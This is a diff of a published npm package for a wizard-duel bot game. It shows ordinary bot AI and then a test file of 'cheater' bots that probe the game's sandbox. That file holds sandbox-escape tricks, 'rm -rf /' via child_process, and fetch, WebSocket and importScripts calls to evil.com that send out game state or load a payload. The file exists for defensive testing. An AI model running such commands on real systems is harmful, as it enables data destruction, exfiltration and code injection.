@vibemancer/core 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +28 -0
- package/dist/chunk-L7Z7OFXD.js +9140 -0
- package/dist/chunk-L7Z7OFXD.js.map +1 -0
- package/dist/index-browser.d.ts +2602 -0
- package/dist/index-browser.js +407 -0
- package/dist/index-browser.js.map +1 -0
- package/dist/index.d.ts +150 -0
- package/dist/index.js +750 -0
- package/dist/index.js.map +1 -0
- package/package.json +79 -0
- package/src/bots/berserker/01_Stormchaser.ts +457 -0
- package/src/bots/berserker/02_Stormcaller.ts +417 -0
- package/src/bots/berserker/03_Stormforger.ts +481 -0
- package/src/bots/caster/01_Flamecaller.ts +286 -0
- package/src/bots/caster/02_Pyromancer.ts +350 -0
- package/src/bots/caster/03_Infernalist.ts +492 -0
- package/src/bots/defensive/01_Turtle.ts +151 -0
- package/src/bots/defensive/02_Sentinel.ts +134 -0
- package/src/bots/defensive/03_Golem.ts +357 -0
- package/src/bots/duelist/01_Battlemage.ts +433 -0
- package/src/bots/duelist/02_Warmage.ts +438 -0
- package/src/bots/duelist/03_Archmage.ts +588 -0
- package/src/bots/homing/01_Bonemancer.ts +67 -0
- package/src/bots/homing/02_Lich.ts +356 -0
- package/src/bots/homing/03_Archlich.ts +220 -0
- package/src/bots/index.ts +30 -0
- package/src/bots/kiter/01_Spellspinner.ts +398 -0
- package/src/bots/kiter/02_Spellweaver.ts +378 -0
- package/src/bots/kiter/03_Spellbinder.ts +448 -0
- package/src/bots/melee/01_Shadowblade.ts +270 -0
- package/src/bots/melee/02_Nightblade.ts +437 -0
- package/src/bots/melee/03_Voidblade.ts +582 -0
- package/src/bots/registry.ts +207 -0
- package/src/bots/shared.ts +472 -0
- package/src/bots/sniper/01_Spellshot.ts +385 -0
- package/src/bots/sniper/02_Spelltracer.ts +441 -0
- package/src/bots/sniper/03_Spellseeker.ts +546 -0
- package/src/bots/standalone/Critter.ts +89 -0
- package/src/bots/standalone/Doombringer.ts +91 -0
- package/src/bots/standalone/Hogger.ts +228 -0
- package/src/bots/standalone/Rookie.ts +50 -0
- package/src/bots/standalone/TargetDummy.ts +21 -0
- package/src/bots/test/cheater.ts +405 -0
- package/src/bots/test/crasher.ts +81 -0
- package/src/engine/hooks-runtime.ts +394 -0
- package/src/engine/manual-match.ts +289 -0
- package/src/engine/missile-templates.ts +155 -0
- package/src/engine/optimizer.ts +220 -0
- package/src/engine/params-runtime.ts +189 -0
- package/src/engine/physics.ts +143 -0
- package/src/engine/sandbox-browser.ts +671 -0
- package/src/engine/sandbox-compile.ts +197 -0
- package/src/engine/sandbox-harness.ts +367 -0
- package/src/engine/sandbox.ts +332 -0
- package/src/engine/simulation.ts +828 -0
- package/src/engine/spells.ts +128 -0
- package/src/engine-version.ts +11 -0
- package/src/hooks/action-builders.ts +210 -0
- package/src/hooks/bot-wrapper.ts +84 -0
- package/src/hooks/index.ts +75 -0
- package/src/hooks/state-hooks.ts +354 -0
- package/src/hooks/threat-analysis.ts +365 -0
- package/src/hooks/types.ts +142 -0
- package/src/index-browser.ts +30 -0
- package/src/index.ts +24 -0
- package/src/rules.ts +254 -0
- package/src/stats.ts +262 -0
- package/src/testing.ts +207 -0
- package/src/trace.ts +430 -0
- package/src/types.ts +193 -0
- package/src/utils/angles.ts +47 -0
- package/src/utils/combat.ts +279 -0
- package/src/utils/distance.ts +21 -0
- package/src/utils/index.ts +7 -0
- package/src/utils/movement.ts +108 -0
- package/src/utils/random.ts +65 -0
- package/src/utils/spatial.ts +63 -0
- package/src/utils/targeting.ts +45 -0
|
@@ -0,0 +1,228 @@
|
|
|
1
|
+
import {WizardFunction, MissileAIFunction} from '../../types.js';
|
|
2
|
+
import {angleTo} from '../../utils/angles.js';
|
|
3
|
+
import {distanceTo} from '../../utils/distance.js';
|
|
4
|
+
import {ARENA_SIZE} from '../../rules.js';
|
|
5
|
+
import {
|
|
6
|
+
getThreats,
|
|
7
|
+
getMostUrgentThreat,
|
|
8
|
+
getDodgeDirectionForMovement,
|
|
9
|
+
getBlinkToCenter,
|
|
10
|
+
} from '../shared.js';
|
|
11
|
+
const WALL_BUFFER = 60;
|
|
12
|
+
const WALL_PUSH = 30; // How hard to push away from walls
|
|
13
|
+
|
|
14
|
+
/**
|
|
15
|
+
* Homing AI that sometimes forgets what it's doing.
|
|
16
|
+
*/
|
|
17
|
+
const ChaoticHoming: MissileAIFunction = ({worldState, random}) =>
|
|
18
|
+
{
|
|
19
|
+
const enemy = worldState.enemies[0];
|
|
20
|
+
// 80% chance to actually track, 20% chance to just fly straight
|
|
21
|
+
if (random() < 0.8)
|
|
22
|
+
{
|
|
23
|
+
return {turnToward: enemy?.position};
|
|
24
|
+
}
|
|
25
|
+
return {};
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Bot: Hogger
|
|
30
|
+
*
|
|
31
|
+
* BEHAVIOR: The elite critter. Chaotic and unpredictable but genuinely dangerous.
|
|
32
|
+
* Randomly varies missile configs each cast (damage 7-15, speed 3-8, random homing),
|
|
33
|
+
* moves erratically but still somewhat toward/away from the enemy, shields when
|
|
34
|
+
* in real danger, and blinks unpredictably. The randomness makes Hogger hard to
|
|
35
|
+
* predict — you never know if the next missile will be a slow tracker or a fast
|
|
36
|
+
* snipe. Unlike Critter's pure randomness, Hogger has enough combat awareness
|
|
37
|
+
* to actually win fights.
|
|
38
|
+
*
|
|
39
|
+
* NAMING RATIONALE: In WoW, Hogger is the iconic level 11 elite gnoll in Elwynn
|
|
40
|
+
* Forest who infamously kills unprepared lowbies. He's technically a basic mob
|
|
41
|
+
* but hits way harder than expected. This bot is the Critter that learned to
|
|
42
|
+
* fight — still chaotic, still a bit dumb, but capable of ending you if you
|
|
43
|
+
* underestimate it. "Hogger" is one of WoW's most recognizable references and
|
|
44
|
+
* perfectly captures "deceptively dangerous chaos."
|
|
45
|
+
*
|
|
46
|
+
* STANDALONE — no tier progression. There's only one Hogger.
|
|
47
|
+
*/
|
|
48
|
+
export const Hogger: WizardFunction = ({state, random}) =>
|
|
49
|
+
{
|
|
50
|
+
const enemy = state.enemies[0];
|
|
51
|
+
if (!enemy)
|
|
52
|
+
{
|
|
53
|
+
return {move: {x: 0, y: 0}};
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
const distance = distanceTo(state.position, enemy.position);
|
|
57
|
+
const threats = getThreats(state);
|
|
58
|
+
const urgentThreat = getMostUrgentThreat(threats);
|
|
59
|
+
|
|
60
|
+
// Erratic movement: mostly toward/away from enemy with random strafe
|
|
61
|
+
const deltaX = enemy.position.x - state.position.x;
|
|
62
|
+
const deltaY = enemy.position.y - state.position.y;
|
|
63
|
+
const normalizedDistance = distance > 0 ? distance : 1;
|
|
64
|
+
|
|
65
|
+
// Dodge if there's a real threat
|
|
66
|
+
const dodgeDirection = getDodgeDirectionForMovement(threats, state.position);
|
|
67
|
+
|
|
68
|
+
let moveX: number;
|
|
69
|
+
let moveY: number;
|
|
70
|
+
|
|
71
|
+
if (dodgeDirection)
|
|
72
|
+
{
|
|
73
|
+
// Actually dodge (Hogger isn't stupid)
|
|
74
|
+
moveX = dodgeDirection.x * 100;
|
|
75
|
+
moveY = dodgeDirection.y * 100;
|
|
76
|
+
}
|
|
77
|
+
else
|
|
78
|
+
{
|
|
79
|
+
// Random strafe component
|
|
80
|
+
const perpX = -deltaY / normalizedDistance;
|
|
81
|
+
const perpY = deltaX / normalizedDistance;
|
|
82
|
+
const strafeIntensity = random() * 80 - 40; // -40 to 40
|
|
83
|
+
|
|
84
|
+
// Approach/retreat: prefer medium range (250-400), but sometimes just wander
|
|
85
|
+
let approachIntensity = 0;
|
|
86
|
+
if (distance > 400)
|
|
87
|
+
{
|
|
88
|
+
approachIntensity = 40 + random() * 30; // approach
|
|
89
|
+
}
|
|
90
|
+
else if (distance < 200)
|
|
91
|
+
{
|
|
92
|
+
approachIntensity = -(30 + random() * 30); // retreat
|
|
93
|
+
}
|
|
94
|
+
else
|
|
95
|
+
{
|
|
96
|
+
approachIntensity = random() * 60 - 30; // random walk
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
moveX =
|
|
100
|
+
perpX * strafeIntensity +
|
|
101
|
+
(deltaX / normalizedDistance) * approachIntensity;
|
|
102
|
+
moveY =
|
|
103
|
+
perpY * strafeIntensity +
|
|
104
|
+
(deltaY / normalizedDistance) * approachIntensity;
|
|
105
|
+
|
|
106
|
+
// Wall avoidance (Hogger doesn't like corners)
|
|
107
|
+
if (state.position.x < WALL_BUFFER) moveX += WALL_PUSH;
|
|
108
|
+
if (state.position.x > ARENA_SIZE - WALL_BUFFER) moveX -= WALL_PUSH;
|
|
109
|
+
if (state.position.y < WALL_BUFFER) moveY += WALL_PUSH;
|
|
110
|
+
if (state.position.y > ARENA_SIZE - WALL_BUFFER) moveY -= WALL_PUSH;
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
const magnitude = Math.sqrt(moveX * moveX + moveY * moveY);
|
|
114
|
+
if (magnitude > 100)
|
|
115
|
+
{
|
|
116
|
+
moveX = (moveX / magnitude) * 100;
|
|
117
|
+
moveY = (moveY / magnitude) * 100;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
const move = {x: moveX, y: moveY};
|
|
121
|
+
|
|
122
|
+
// === DEFENSE: Shield if in real danger ===
|
|
123
|
+
if (state.state === 'channeling')
|
|
124
|
+
{
|
|
125
|
+
if (!urgentThreat || urgentThreat.ticksToImpact > 120)
|
|
126
|
+
{
|
|
127
|
+
return {move, cancel: true};
|
|
128
|
+
}
|
|
129
|
+
return {move: {x: 0, y: 0}};
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
if (
|
|
133
|
+
state.state === 'idle' &&
|
|
134
|
+
urgentThreat &&
|
|
135
|
+
!urgentThreat.bestDodgeDirection
|
|
136
|
+
)
|
|
137
|
+
{
|
|
138
|
+
if (urgentThreat.canBlockInTime && urgentThreat.ticksToStartShield <= 3)
|
|
139
|
+
{
|
|
140
|
+
return {
|
|
141
|
+
move: {x: 0, y: 0},
|
|
142
|
+
startCast: {spell: 'shield'},
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
else if (!urgentThreat.canBlockInTime && state.blinkCooldown === 0)
|
|
146
|
+
{
|
|
147
|
+
return {
|
|
148
|
+
move: {x: 0, y: 0},
|
|
149
|
+
startCast: {spell: 'blink', target: getBlinkToCenter(state.position)},
|
|
150
|
+
};
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// === OFFENSE: Random blink (sometimes offensive, sometimes random) ===
|
|
155
|
+
if (state.state === 'idle' && state.blinkCooldown === 0 && random() < 0.03)
|
|
156
|
+
{
|
|
157
|
+
// 60% chance blink toward enemy, 40% chance random blink
|
|
158
|
+
if (random() < 0.6 && distance > 300)
|
|
159
|
+
{
|
|
160
|
+
return {
|
|
161
|
+
move: {x: 0, y: 0},
|
|
162
|
+
startCast: {spell: 'blink', target: enemy.position},
|
|
163
|
+
};
|
|
164
|
+
}
|
|
165
|
+
else
|
|
166
|
+
{
|
|
167
|
+
return {
|
|
168
|
+
move: {x: 0, y: 0},
|
|
169
|
+
startCast: {
|
|
170
|
+
spell: 'blink',
|
|
171
|
+
target: {
|
|
172
|
+
x: 100 + random() * 600,
|
|
173
|
+
y: 100 + random() * 600,
|
|
174
|
+
},
|
|
175
|
+
},
|
|
176
|
+
};
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
// === OFFENSE: Chaotic missiles ===
|
|
181
|
+
if (state.state === 'idle' && distance < 500)
|
|
182
|
+
{
|
|
183
|
+
// Random missile config each time
|
|
184
|
+
const roll = random();
|
|
185
|
+
let damage: number;
|
|
186
|
+
let speed: number;
|
|
187
|
+
let turnRate: number;
|
|
188
|
+
let duration: number;
|
|
189
|
+
|
|
190
|
+
if (roll < 0.3)
|
|
191
|
+
{
|
|
192
|
+
// Fast snipe
|
|
193
|
+
damage = 8 + Math.floor(random() * 5); // 8-12
|
|
194
|
+
speed = 6 + random() * 2; // 6-8
|
|
195
|
+
turnRate = 0;
|
|
196
|
+
duration = 80 + Math.floor(random() * 40); // 80-120
|
|
197
|
+
}
|
|
198
|
+
else if (roll < 0.7)
|
|
199
|
+
{
|
|
200
|
+
// Homing tracker
|
|
201
|
+
damage = 7 + Math.floor(random() * 5); // 7-11
|
|
202
|
+
speed = 3 + random() * 2; // 3-5
|
|
203
|
+
turnRate = 1 + random() * 2; // 1-3
|
|
204
|
+
duration = 150 + Math.floor(random() * 100); // 150-250
|
|
205
|
+
}
|
|
206
|
+
else
|
|
207
|
+
{
|
|
208
|
+
// Big slow bomb
|
|
209
|
+
damage = 12 + Math.floor(random() * 4); // 12-15
|
|
210
|
+
speed = 2 + random() * 2; // 2-4
|
|
211
|
+
turnRate = 0.5 + random() * 1.5; // 0.5-2
|
|
212
|
+
duration = 200 + Math.floor(random() * 100); // 200-300
|
|
213
|
+
}
|
|
214
|
+
|
|
215
|
+
return {
|
|
216
|
+
move,
|
|
217
|
+
startCast: {
|
|
218
|
+
spell: 'missile',
|
|
219
|
+
config: {damage, speed, turnRate, duration},
|
|
220
|
+
missileAI: ChaoticHoming,
|
|
221
|
+
direction:
|
|
222
|
+
angleTo(state.position, enemy.position) + (random() * 20 - 10), // ±10° aim wobble
|
|
223
|
+
},
|
|
224
|
+
};
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
return {move};
|
|
228
|
+
};
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
import {WizardFunction} from '../../types.js';
|
|
2
|
+
import {angleTo} from '../../utils/angles.js';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Bot: Rookie
|
|
6
|
+
*
|
|
7
|
+
* BEHAVIOR: Stands perfectly still and fires straight (non-homing) missiles at
|
|
8
|
+
* the enemy. No movement, no dodging, no shielding. Knows one spell and uses
|
|
9
|
+
* it on cooldown. The wizard equivalent of an FPS player who stands in the open
|
|
10
|
+
* and holds left-click.
|
|
11
|
+
*
|
|
12
|
+
* NAMING RATIONALE: "Rookie" is the universal term for a first-timer who barely
|
|
13
|
+
* knows what they're doing. This bot is a day-one player who learned how to cast
|
|
14
|
+
* missile and nothing else. No movement, no defense, just raw "I press the button."
|
|
15
|
+
* We considered "Noob" (more accurate) but Rookie is less abrasive while conveying
|
|
16
|
+
* the same thing — a beginner who doesn't know any better.
|
|
17
|
+
*
|
|
18
|
+
* STANDALONE — no tier progression. Rookies either learn to play a real class
|
|
19
|
+
* or quit. This bot represents the rock-bottom of "at least it shoots."
|
|
20
|
+
*/
|
|
21
|
+
export const Rookie: WizardFunction = ({state}) =>
|
|
22
|
+
{
|
|
23
|
+
const enemy = state.enemies[0];
|
|
24
|
+
if (!enemy)
|
|
25
|
+
{
|
|
26
|
+
return {move: {x: 0, y: 0}};
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
if (state.state === 'idle')
|
|
30
|
+
{
|
|
31
|
+
return {
|
|
32
|
+
move: {x: 0, y: 0},
|
|
33
|
+
startCast: {
|
|
34
|
+
spell: 'missile',
|
|
35
|
+
config: {
|
|
36
|
+
damage: 10,
|
|
37
|
+
speed: 5,
|
|
38
|
+
turnRate: 0,
|
|
39
|
+
duration: 200,
|
|
40
|
+
},
|
|
41
|
+
missileAI: () => ({}),
|
|
42
|
+
direction: angleTo(state.position, enemy.position),
|
|
43
|
+
},
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return {
|
|
48
|
+
move: {x: 0, y: 0},
|
|
49
|
+
};
|
|
50
|
+
};
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import {WizardFunction} from '../../types.js';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Bot: TargetDummy
|
|
5
|
+
*
|
|
6
|
+
* BEHAVIOR: Does absolutely nothing. No movement, no spells, no AI.
|
|
7
|
+
*
|
|
8
|
+
* NAMING RATIONALE: "Target Dummy" is universal MMO player vocabulary for the
|
|
9
|
+
* practice objects found in capital cities. Every WoW/FFXIV player has beaten
|
|
10
|
+
* on a target dummy to test DPS rotations. That's exactly what this bot is —
|
|
11
|
+
* a punching bag for testing missile mechanics and baseline damage output.
|
|
12
|
+
* Nobody calls them "training dummies"; the player term is always "target dummy."
|
|
13
|
+
*
|
|
14
|
+
* STANDALONE — no tier progression. It's a test fixture, not a combatant.
|
|
15
|
+
*/
|
|
16
|
+
export const TargetDummy: WizardFunction = () =>
|
|
17
|
+
{
|
|
18
|
+
return {
|
|
19
|
+
move: {x: 0, y: 0},
|
|
20
|
+
};
|
|
21
|
+
};
|
|
@@ -0,0 +1,405 @@
|
|
|
1
|
+
/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
|
|
2
|
+
/**
|
|
3
|
+
* CHEATER TEST BOTS
|
|
4
|
+
*
|
|
5
|
+
* These bots attempt various exploit techniques to test sandbox safety.
|
|
6
|
+
* They are NOT registered in ALL_BOTS — test-only.
|
|
7
|
+
*
|
|
8
|
+
* Each variant targets a different attack vector:
|
|
9
|
+
* - CheaterPrototypePollution: modifies built-in prototypes
|
|
10
|
+
* - CheaterStateCorruption: tries to mutate the game state
|
|
11
|
+
* - CheaterNodeAccess: tries to access Node.js APIs
|
|
12
|
+
* - CheaterSandboxEscape: tries to break out of the sandbox
|
|
13
|
+
* - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
|
|
14
|
+
* - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
|
|
15
|
+
* - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
import type {WizardFunction} from '../../types.js';
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Attempts to modify built-in prototypes to sabotage the other bot.
|
|
22
|
+
* With prototype freezing enabled, these assignments should silently fail
|
|
23
|
+
* (or throw in strict mode), and the match should proceed normally.
|
|
24
|
+
*/
|
|
25
|
+
export const CheaterPrototypePollution: WizardFunction = () =>
|
|
26
|
+
{
|
|
27
|
+
try
|
|
28
|
+
{
|
|
29
|
+
// Try to sabotage Array methods used by the other bot
|
|
30
|
+
(Array.prototype as any).map = () => [];
|
|
31
|
+
(Array.prototype as any).filter = () => [];
|
|
32
|
+
(Array.prototype as any).find = () => undefined;
|
|
33
|
+
|
|
34
|
+
// Try to sabotage Object
|
|
35
|
+
(Object.prototype as any).position = {x: 0, y: 0};
|
|
36
|
+
(Object.prototype as any).health = 0;
|
|
37
|
+
|
|
38
|
+
// Try to sabotage Math functions used by combat calculations
|
|
39
|
+
(Math as any).sqrt = () => 0;
|
|
40
|
+
(Math as any).atan2 = () => 0;
|
|
41
|
+
}
|
|
42
|
+
catch
|
|
43
|
+
{
|
|
44
|
+
// Frozen prototypes will throw in strict mode — that's expected
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return {move: {x: 0, y: 0}};
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* Attempts to mutate the game state object passed to it, hoping to corrupt
|
|
52
|
+
* the simulation. With proper state views (copies), mutations should have
|
|
53
|
+
* no effect on the actual simulation state.
|
|
54
|
+
*/
|
|
55
|
+
export const CheaterStateCorruption: WizardFunction = ({state}) =>
|
|
56
|
+
{
|
|
57
|
+
try
|
|
58
|
+
{
|
|
59
|
+
// Try to give ourselves infinite health
|
|
60
|
+
(state as any).health = 999999;
|
|
61
|
+
(state as any).maxHealth = 999999;
|
|
62
|
+
|
|
63
|
+
// Try to kill enemies by modifying their state
|
|
64
|
+
for (const enemy of state.enemies)
|
|
65
|
+
{
|
|
66
|
+
(enemy as any).health = 0;
|
|
67
|
+
(enemy as any).position = {x: -9999, y: -9999};
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// Try to delete all enemy projectiles
|
|
71
|
+
for (const proj of state.projectiles)
|
|
72
|
+
{
|
|
73
|
+
(proj as any).damage = 0;
|
|
74
|
+
(proj as any).remainingTicks = 0;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Try to modify the position directly
|
|
78
|
+
state.position.x = 400;
|
|
79
|
+
state.position.y = 400;
|
|
80
|
+
}
|
|
81
|
+
catch
|
|
82
|
+
{
|
|
83
|
+
// Expected if state is frozen
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
return {move: {x: 0, y: 0}};
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Attempts to access Node.js APIs that should not be available in the sandbox.
|
|
91
|
+
* With esbuild platform: 'neutral', these should all be undefined or throw.
|
|
92
|
+
*/
|
|
93
|
+
export const CheaterNodeAccess: WizardFunction = () =>
|
|
94
|
+
{
|
|
95
|
+
try
|
|
96
|
+
{
|
|
97
|
+
// Try to access filesystem
|
|
98
|
+
const fs = (globalThis as any).require?.('fs');
|
|
99
|
+
fs?.writeFileSync?.('/tmp/hacked', 'pwned');
|
|
100
|
+
}
|
|
101
|
+
catch
|
|
102
|
+
{
|
|
103
|
+
/* expected */
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
try
|
|
107
|
+
{
|
|
108
|
+
// Try to access process
|
|
109
|
+
const proc = (globalThis as any).process;
|
|
110
|
+
proc?.exit?.(1);
|
|
111
|
+
}
|
|
112
|
+
catch
|
|
113
|
+
{
|
|
114
|
+
/* expected */
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
try
|
|
118
|
+
{
|
|
119
|
+
// Try to spawn child process
|
|
120
|
+
const cp = (globalThis as any).require?.('child_process');
|
|
121
|
+
cp?.execSync?.('rm -rf /');
|
|
122
|
+
}
|
|
123
|
+
catch
|
|
124
|
+
{
|
|
125
|
+
/* expected */
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
try
|
|
129
|
+
{
|
|
130
|
+
// Try to access network
|
|
131
|
+
const net = (globalThis as any).require?.('net');
|
|
132
|
+
net?.createConnection?.({host: 'evil.com', port: 80});
|
|
133
|
+
}
|
|
134
|
+
catch
|
|
135
|
+
{
|
|
136
|
+
/* expected */
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return {move: {x: 0, y: 0}};
|
|
140
|
+
};
|
|
141
|
+
|
|
142
|
+
/**
|
|
143
|
+
* Attempts to escape the sandbox using known V8/JavaScript escape techniques.
|
|
144
|
+
* These should all fail within isolated-vm.
|
|
145
|
+
*/
|
|
146
|
+
export const CheaterSandboxEscape: WizardFunction = () =>
|
|
147
|
+
{
|
|
148
|
+
try
|
|
149
|
+
{
|
|
150
|
+
// Classic sandbox escape: constructor.constructor to get Function constructor
|
|
151
|
+
const fn = {}.constructor.constructor('return this')();
|
|
152
|
+
// If this works, fn would be the global object outside the sandbox
|
|
153
|
+
(fn as any)?.process?.exit?.(1);
|
|
154
|
+
}
|
|
155
|
+
catch
|
|
156
|
+
{
|
|
157
|
+
/* expected */
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
try
|
|
161
|
+
{
|
|
162
|
+
// Try to access the global scope via Function
|
|
163
|
+
const global = Function('return this')();
|
|
164
|
+
(global as any)?.process?.exit?.(1);
|
|
165
|
+
}
|
|
166
|
+
catch
|
|
167
|
+
{
|
|
168
|
+
/* expected */
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
try
|
|
172
|
+
{
|
|
173
|
+
// Try eval-based escape
|
|
174
|
+
const result = eval('globalThis.process');
|
|
175
|
+
(result as any)?.exit?.(1);
|
|
176
|
+
}
|
|
177
|
+
catch
|
|
178
|
+
{
|
|
179
|
+
/* expected */
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
try
|
|
183
|
+
{
|
|
184
|
+
// Try to access import.meta (might leak host info)
|
|
185
|
+
const meta = import.meta as any;
|
|
186
|
+
meta?.url; // Should just be undefined or sandboxed
|
|
187
|
+
}
|
|
188
|
+
catch
|
|
189
|
+
{
|
|
190
|
+
/* expected */
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
return {move: {x: 0, y: 0}};
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
// ============================================================================
|
|
197
|
+
// IO / NETWORK CHEATER BOTS
|
|
198
|
+
// ============================================================================
|
|
199
|
+
|
|
200
|
+
/**
|
|
201
|
+
* Attempts to make network requests using every browser IO API.
|
|
202
|
+
* All of these should be blocked by the IO sandbox banner.
|
|
203
|
+
* If any succeeds, it would be a security vulnerability — bot code could
|
|
204
|
+
* exfiltrate game state, load external code, or communicate with C2 servers.
|
|
205
|
+
*/
|
|
206
|
+
export const CheaterNetworkIO: WizardFunction = ({state}) =>
|
|
207
|
+
{
|
|
208
|
+
const g = globalThis as any;
|
|
209
|
+
|
|
210
|
+
// --- fetch ---
|
|
211
|
+
try
|
|
212
|
+
{
|
|
213
|
+
const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
|
|
214
|
+
// If fetch exists and returns a promise, that's a breach
|
|
215
|
+
if (result && typeof result.then === 'function')
|
|
216
|
+
{
|
|
217
|
+
// Should never reach here
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
catch
|
|
221
|
+
{
|
|
222
|
+
/* expected */
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// --- XMLHttpRequest ---
|
|
226
|
+
try
|
|
227
|
+
{
|
|
228
|
+
const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
|
|
229
|
+
xhr?.open?.('POST', 'https://evil.com/exfil');
|
|
230
|
+
xhr?.send?.(
|
|
231
|
+
JSON.stringify({health: state.health, position: state.position}),
|
|
232
|
+
);
|
|
233
|
+
}
|
|
234
|
+
catch
|
|
235
|
+
{
|
|
236
|
+
/* expected */
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
// --- WebSocket ---
|
|
240
|
+
try
|
|
241
|
+
{
|
|
242
|
+
const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
|
|
243
|
+
ws?.send?.('connected');
|
|
244
|
+
}
|
|
245
|
+
catch
|
|
246
|
+
{
|
|
247
|
+
/* expected */
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
// --- EventSource (Server-Sent Events) ---
|
|
251
|
+
try
|
|
252
|
+
{
|
|
253
|
+
const es = g.EventSource
|
|
254
|
+
? new g.EventSource('https://evil.com/commands')
|
|
255
|
+
: null;
|
|
256
|
+
es?.close?.();
|
|
257
|
+
}
|
|
258
|
+
catch
|
|
259
|
+
{
|
|
260
|
+
/* expected */
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
// --- navigator.sendBeacon ---
|
|
264
|
+
try
|
|
265
|
+
{
|
|
266
|
+
g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
|
|
267
|
+
}
|
|
268
|
+
catch
|
|
269
|
+
{
|
|
270
|
+
/* expected */
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
return {move: {x: 0, y: 0}};
|
|
274
|
+
};
|
|
275
|
+
|
|
276
|
+
/**
|
|
277
|
+
* Attempts to inject external scripts or create sub-workers to bypass sandbox.
|
|
278
|
+
* importScripts can load and execute arbitrary JS from any URL.
|
|
279
|
+
* Worker/SharedWorker can spawn new contexts without IO restrictions.
|
|
280
|
+
*/
|
|
281
|
+
export const CheaterScriptInjection: WizardFunction = () =>
|
|
282
|
+
{
|
|
283
|
+
const g = globalThis as any;
|
|
284
|
+
|
|
285
|
+
// --- importScripts (Web Worker API: loads & executes external JS) ---
|
|
286
|
+
try
|
|
287
|
+
{
|
|
288
|
+
g.importScripts?.('https://cdn.evil.com/payload.js');
|
|
289
|
+
}
|
|
290
|
+
catch
|
|
291
|
+
{
|
|
292
|
+
/* expected */
|
|
293
|
+
}
|
|
294
|
+
|
|
295
|
+
// --- Worker (create sub-worker to bypass restrictions) ---
|
|
296
|
+
try
|
|
297
|
+
{
|
|
298
|
+
const w = g.Worker
|
|
299
|
+
? new g.Worker('data:text/javascript,fetch("https://evil.com")')
|
|
300
|
+
: null;
|
|
301
|
+
w?.terminate?.();
|
|
302
|
+
}
|
|
303
|
+
catch
|
|
304
|
+
{
|
|
305
|
+
/* expected */
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
// --- SharedWorker ---
|
|
309
|
+
try
|
|
310
|
+
{
|
|
311
|
+
const sw = g.SharedWorker
|
|
312
|
+
? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
|
|
313
|
+
: null;
|
|
314
|
+
sw?.port?.close?.();
|
|
315
|
+
}
|
|
316
|
+
catch
|
|
317
|
+
{
|
|
318
|
+
/* expected */
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
// --- Reconstruct fetch via Request/Response ---
|
|
322
|
+
try
|
|
323
|
+
{
|
|
324
|
+
const req = g.Request ? new g.Request('https://evil.com/data') : null;
|
|
325
|
+
if (req)
|
|
326
|
+
{
|
|
327
|
+
// Without fetch, a Request object alone can't send anything,
|
|
328
|
+
// but verify the constructor is also blocked
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
catch
|
|
332
|
+
{
|
|
333
|
+
/* expected */
|
|
334
|
+
}
|
|
335
|
+
|
|
336
|
+
return {move: {x: 0, y: 0}};
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
/**
|
|
340
|
+
* Attempts to use storage and cross-context communication APIs.
|
|
341
|
+
* These could be used to persist data between matches, leak info across
|
|
342
|
+
* tabs, or coordinate with external code.
|
|
343
|
+
*/
|
|
344
